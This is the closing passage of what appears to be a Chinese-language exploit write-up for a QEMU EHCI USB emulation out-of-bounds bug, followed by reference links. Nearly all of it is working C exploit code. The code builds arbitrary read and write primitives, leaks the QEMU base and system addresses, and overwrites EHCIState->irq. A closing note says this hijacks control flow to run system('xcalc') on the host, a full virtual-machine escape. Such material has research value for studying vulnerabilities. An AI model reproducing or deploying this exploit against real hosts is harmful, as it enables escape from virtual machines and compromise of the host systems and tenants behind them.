] = len & 0xff ;     setup_buf[7 ] = (len >> 8  ) & 0xff ;     qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8  << QTD_TOKEN_TBYTES_SH;     qtd->bufptr[0 ] = virt2phys(setup_buf);     set_EHCIState();     printf ("set_length Success!\n" ); }void  do_copy_read () {     reset_enable_port();     set_qh();     qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00  << QTD_TOKEN_TBYTES_SH;     qtd->bufptr[0 ] = virt2phys(data_buf);     qtd->bufptr[1 ] = virt2phys(data_buf_oob);     set_EHCIState();     printf ("do_copy_read Success!\n" ); }void  do_copy_write (int  offset, unsigned  int  setup_len, unsigned  int  setup_index) {     reset_enable_port();     set_qh();     *(unsigned  long  *)(data_buf_oob + offset) = 0x0000000200000002 ;      *(unsigned  int  *)(data_buf_oob + 0x8  +offset) = setup_len;      *(unsigned  int  *)(data_buf_oob + 0xc + offset) = setup_index;     qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00  << QTD_TOKEN_TBYTES_SH;      qtd->bufptr[0 ] = virt2phys(data_buf);     qtd->bufptr[1 ] = virt2phys(data_buf_oob);     set_EHCIState();     printf ("do_copy_write Success!\n" ); }void  setup_state_data ()  {     set_length(0x500 , USB_DIR_OUT); }void  arb_write (uint64_t  target_addr, uint64_t  payload)  {     setup_state_data();     set_length(0x1010 , USB_DIR_OUT);     unsigned  long  offset = target_addr - data_buf_addr;     do_copy_write(0 , offset+0x8 , offset-0x1010 );     *(unsigned  long  *)(data_buf) = payload;     do_copy_write(0 , 0xffff , 0 );     printf ("arb_write Success!\n" ); }unsigned  long  arb_read (uint64_t  target_addr)  {     setup_state_data();     set_length(0x1010 , USB_DIR_OUT);     do_copy_write(0 , 0x1010 , 0xfffffff8 -0x1010 );     *(unsigned  long  *)(data_buf) = 0x2000000000000080 ;      unsigned  int  target_offset = target_addr - data_buf_addr;     do_copy_write(0x8 , 0xffff , target_offset - 0x1018 );     do_copy_read();      return  *(unsigned  long  *)(data_buf);     printf ("arb_read Success!\n" ); }void  debug ()  {     getchar();     getchar(); }int  main ()  {     init();     iopl(3 );     outw(0 ,0xc080 );     outw(0 ,0xc0a0 );     outw(0 ,0xc0c0 );     sleep(3 );          init_state();     set_length(0x200 , USB_DIR_IN);       set_length(0x2000 , USB_DIR_IN);     do_copy_read();      for (int  i = 0 ; i < 0x20 ; ++i)     {         printf ("data_buf[%d]: %lx\n" , i, *(uint64_t  *)(data_buf + i * 8 ));     }     printf ("--------------------------------------------\n" );     for (int  i = 0 ; i < 0x20 ; ++i)     {         printf ("data_buf_oob[%d]: %lx\n" , i, *(uint64_t  *)(data_buf_oob + i * 8 ));     }     struct  USBDevice * usb_device_tmp  =  data_buf_oob + 0x4 ;     struct  USBDevice  usb_device ;     memcpy (&usb_device, usb_device_tmp, sizeof (USBDevice));     dev_addr = usb_device.ep_ctl.dev;     data_buf_addr = dev_addr + 0xdc ;     USBPort_addr = dev_addr + 0x78 ;     printf ("USBDevice dev_addr: 0x%llx\n" , dev_addr);     printf ("USBDevice->data_buf: 0x%llx\n" , data_buf_addr);     printf ("USBPort_addr: 0x%llx\n" , USBPort_addr);     uint64_t  *tmp=data_buf_oob+0x4fc ;        long  long  leak_addr = *tmp;     if (leak_addr == 0 ){         printf ("INIT DOWN,DO IT AGAIN\n" );         return  0 ;     }     long  long  base = leak_addr - 0x1111090 ;     uint64_t  system_plt = base + 0x2D4B50 ;     printf ("leak elf_base address : 0x%llx!\n" , base);     printf ("leak system_plt address: 0x%llx!\n" , system_plt);     unsigned  long  USBPort_ptr = arb_read(USBPort_addr);     unsigned  long  EHCIState_addr = USBPort_ptr - 0x540 ;     unsigned  long  irq_addr = EHCIState_addr + 0xc0 ;     unsigned  long  fake_irq_addr = data_buf_addr;      unsigned  long  irq_ptr = arb_read(irq_addr);     printf ("EHCIState_addr: 0x%llx\n" , EHCIState_addr);     printf ("USBPort_ptr: 0x%llx\n" , USBPort_ptr);     printf ("irq_addr: 0x%llx\n" , irq_addr);     printf ("fake_irq_addr: 0x%llx\n" , fake_irq_addr);     printf ("irq_ptr: 0x%llx\n" , irq_ptr);          setup_state_data();     *(unsigned  long  *)(data_buf + 0x28 ) = system_plt;      *(unsigned  long  *)(data_buf + 0x30 ) = dev_addr+0xdc +0x100 ;      *(unsigned  long  *)(data_buf + 0x38 ) = 0x3 ;      *(unsigned  long  *)(data_buf + 0x100 ) = 0x636c616378 ;      do_copy_write(0 , 0xffff , 0xffff );     debug();          arb_write(irq_addr, fake_irq_addr);                    return  0 ; };
 
最终效果 覆盖EHCIState->irq为可控地址。
最终劫持控制流,执行system("xcalc")。
参考文章 https://lyyl.online/posts/3399981355 
https://xz.aliyun.com/t/8320?time__1311=n4%2BxnD0DcDuDgDjgD0x05fbDyDmhjiQG7GG0YeD 
https://www.freebuf.com/vuls/247829.html 
https://www.intel.com/content/dam/www/public/us/en/documents/technical-specifications/ehci-specification-for-usb.pdf